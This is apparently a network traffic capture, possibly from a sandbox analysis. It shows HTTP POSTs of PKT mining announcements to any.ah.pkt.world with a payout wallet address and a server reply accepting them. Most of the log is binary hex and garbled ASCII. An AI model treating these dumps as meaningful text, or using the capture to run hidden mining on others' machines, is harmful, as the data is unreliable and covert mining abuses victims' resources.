Jan 7, 2025 13:59:45.486746073 CET	277	OUT	POST /anns/submit?cookie=4a3701444348c2607de40463d7dc7d0a8e9940959292aab39a317c42591d2da0 HTTP/1.1 x-pc-payto: pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a x-pc-sver: 1 x-pc-annver: 1 x-pc-worknum: 2837097 accept: / host: any.ah.pkt.world transfer-encoding: chunked
Jan 7, 2025 13:59:45.486838102 CET	11124	OUT	Data Raw: 34 30 30 0d 0a 01 3e 61 0e 4d 7c 8c e1 b4 43 17 1f 68 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 400>aM\|ChJ+w838eAnf]mTIW:"gnnW@JO>D\|Ie7 drl_P9#CfSQk5l!<m'U454+r&
Jan 7, 2025 13:59:45.491617918 CET	1236	OUT	Data Raw: 20 b3 57 9e 38 47 99 f4 79 5e f6 5c 9d 11 0f 28 d4 af 6b 4d 0e 0e d4 f5 97 93 e3 34 0e bf ec fd 9d 1b 3b 2f 31 92 b8 3d 56 40 e7 e2 15 ea fd 04 f4 2e 99 72 95 10 99 ef fa 9d 34 63 f7 2e 93 ef e9 24 fe 63 32 5b f1 8b 65 08 e5 39 7e 47 cb 1b 87 36 Data Ascii: W8Gy^\(kM4;/1=V@.r4c.$c2[e9~G6RoZw&K}NM/&tKbx8),Uf\|jHrDQC"EMgfO+-Tz(s*!NuSQ{}2fu<400M\|ChJ+
Jan 7, 2025 13:59:45.491699934 CET	4944	OUT	Data Raw: 5a 0b bb e6 71 59 44 a3 f4 5d 0d 0a 34 30 30 0d 0a 01 a1 d3 0e 4c 7c 8c e1 b4 43 17 1f 68 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ZqYD]400L\|ChJ+8}a]p^6\|%=w4?<_-xm45!5UkQNg_7}'e~s,\|ogDN47?$z<Xmy,N
Jan 7, 2025 13:59:45.491766930 CET	4944	OUT	Data Raw: dc 31 62 ee aa 5c da a8 4c e6 ca e9 be 3a f3 76 cf 33 ef da 8b 37 fd ff 78 dc 4a d4 0a cd 23 33 2e 54 84 f5 f6 45 72 49 3c 06 1f c1 f4 60 5a a0 09 81 07 ab b0 f5 3f 56 6e 92 ca dc ac 11 7a 9f 9e 10 81 cb f6 a5 51 1d 80 6e 67 ed 27 81 b9 ac 46 90 Data Ascii: 1b\L:v37xJ#3.TErI<`Z?VnzQng'F&M.[aTQi5TzM/&tKbx8),Uf\|jHrDQC"EMgfO+V!4&%Kf<1?h$VIc;a400xS\|ChJ+
Jan 7, 2025 13:59:45.491800070 CET	4944	OUT	Data Raw: 2b c9 db b7 c6 2c bd 07 8d 75 2d cf e3 0a cb 13 d8 ec 1d f7 d1 07 b1 67 75 f5 4d 42 e5 76 34 97 cf 40 04 23 cc 61 44 3d 2e bd ec 29 9f d2 df d1 4e 4e 48 b9 b9 8d 59 67 51 7f e8 87 2b 88 00 18 f2 3b 77 7f 50 fa 50 24 99 17 27 da 4f ba f1 5e a9 63 Data Ascii: +,u-guMBv4@#aD=.)NNHYgQ+;wPP$'O^cs.(y(HzAum@hv(VlJc.R]`Pj0I\|/F>nAE5nbS(x5V\|sF\|F[7WNqels1.K.cdv
Jan 7, 2025 13:59:45.491899014 CET	4944	OUT	Data Raw: 4f 06 a7 41 bb 5e 03 9e 0e 17 68 91 69 6f 53 b9 56 63 ea 53 1c cd f6 05 9f 8d fb ce 84 64 be 6f 6c aa 4e 7c c0 92 bd 52 33 62 5f df 52 9f 60 36 0e 8b 40 4c 4b 2c 15 d4 2d 80 dd 2d 5a 7a 70 51 c2 5b 14 11 63 68 a0 19 c2 fd 0b 3d c9 8f 9d 27 a3 41 Data Ascii: OA^hioSVcSdolN\|R3b_R`6@LK,--ZzpQ[ch='A\Uu[f6Zeb9Rt+'e0ubE_phytI\*dguZkEKO7jff\|uyQM09Q7[ Q:
Jan 7, 2025 13:59:45.491938114 CET	2472	OUT	Data Raw: 72 5e 83 e7 5a 32 7b 65 09 85 38 52 34 eb ab 94 38 54 e8 2a 35 0d 88 ab 96 ad 5b 2c e0 48 2e 93 59 db 35 98 2a 98 38 80 28 11 02 c5 b4 7a 6d 05 c5 39 38 df 3a e3 8a 5a 17 f0 a0 33 2a 38 7a 7d 00 53 67 d5 36 3b 2e 45 00 b8 ed d6 e8 01 41 a4 25 9e Data Ascii: r^Z2{e8R48T5[,H.Y58(zm98:Z38z}Sg6;.EA%B#Yt$O~@,O_6`T1b\j,RO\A;K(?O%f=Qc}Rl-4H\,b8$Ip
Jan 7, 2025 13:59:45.496473074 CET	2472	OUT	Data Raw: 97 e1 be 74 c9 66 db ca 9b 8a ae 66 d3 6c 66 7f a3 44 b5 c5 88 49 34 09 ee 73 cd ea 01 8e 6d 8a ff 48 63 6a e3 5c fa b5 45 f7 18 7e 8b 89 61 8e e9 a9 2a f9 9d d6 74 dc c9 b6 5f 6c af dc 66 ab 3b c7 6a 14 6c dd 8f 1b ff 09 e9 e0 96 95 99 ca a6 38 Data Ascii: tfflfDI4smHcj\E~at_lf;jl890"fGR~""}[xpl/69Qh_NRZa1C@!sPxD>h.*mmYd 7y<)&
Jan 7, 2025 13:59:45.496490002 CET	2472	OUT	Data Raw: 93 1c ce 9a b7 ab 71 8c 07 38 12 ea 60 33 49 05 d3 3c 44 e7 32 cc 80 b9 5c 2b 9c 56 58 c4 87 96 35 d4 0d 0a 34 30 30 0d 0a 01 5e 32 0f 4c 7c 8c e1 b4 43 17 1f 68 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: q8`3I<D2\+VX5400^2L\|ChJ+Tj1)B,j0:qAkv>(t)[TG]%frfSc)XtW#8!}z/%&;]npieD2V-"
Jan 7, 2025 13:59:45.496622086 CET	2472	OUT	Data Raw: e1 34 7b de b1 9a df d3 03 53 c0 af 99 2e 27 49 dd 48 c4 68 07 41 4a ab be 7e 3e 4a 80 0e 16 bf 8c e5 c3 98 46 74 99 53 94 43 61 35 d8 98 de 83 cc 6e bc e3 ad 1b 72 2a 7b 28 62 f9 ed 61 d8 ef 5b 5f a7 75 ec 31 2f cb d1 14 9c 05 39 f6 21 b0 99 6c Data Ascii: 4{S.'IHhAJ~>JFtSCa5nr{(ba[_u1/9!lqY%=TG#6`,fv\Im^&V+;e~{x9e9w=vg }(Q@M<nor\|\|"tw8
Jan 7, 2025 13:59:47.170991898 CET	460	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Jan 2025 12:59:47 GMT Content-Type: application/json Content-Length: 296 Connection: keep-alive Data Raw: 7b 22 77 61 72 6e 22 3a 5b 5d 2c 22 65 72 72 6f 72 22 3a 5b 5d 2c 22 72 65 73 75 6c 74 22 3a 7b 22 74 79 70 65 22 3a 22 61 6e 6e 73 22 2c 22 61 63 63 65 70 74 65 64 22 3a 33 38 37 2c 22 64 75 70 22 3a 30 2c 22 69 6e 76 61 6c 22 3a 30 2c 22 62 61 64 48 61 73 68 22 3a 30 2c 22 72 75 6e 74 22 3a 30 2c 22 69 6e 74 65 72 6e 61 6c 45 72 72 22 3a 30 2c 22 70 61 79 54 6f 22 3a 22 70 6b 74 31 71 78 79 73 63 35 38 67 34 63 77 77 61 75 74 67 36 64 72 34 70 37 71 37 73 64 36 74 6e 32 6c 64 67 75 6b 74 68 35 61 22 2c 22 75 6e 73 69 67 6e 65 64 22 3a 33 38 37 2c 22 74 6f 74 61 6c 4c 65 6e 22 3a 30 2c 22 74 61 72 67 65 74 22 3a 35 32 31 36 31 38 33 35 36 2c 22 74 69 6d 65 22 3a 31 37 33 36 32 35 34 37 38 37 30 38 34 2c 22 65 76 65 6e 74 49 64 22 3a 22 63 61 68 2d 32 38 33 37 30 39 36 2d 41 32 44 41 30 37 32 35 46 33 32 46 34 44 30 34 36 42 45 46 35 33 43 36 32 34 30 32 30 38 38 43 22 7d 7d Data Ascii: {"warn":[],"error":[],"result":{"type":"anns","accepted":387,"dup":0,"inval":0,"badHash":0,"runt":0,"internalErr":0,"payTo":"pkt1qxysc58g4cwwautg6dr4p7q7sd6tn2ldgukth5a","unsigned":387,"totalLen":0,"target":521618356,"time":1736254787084,"eventId":"cah-2837096-A2DA0725F32F4D046BEF53C62402088C"}}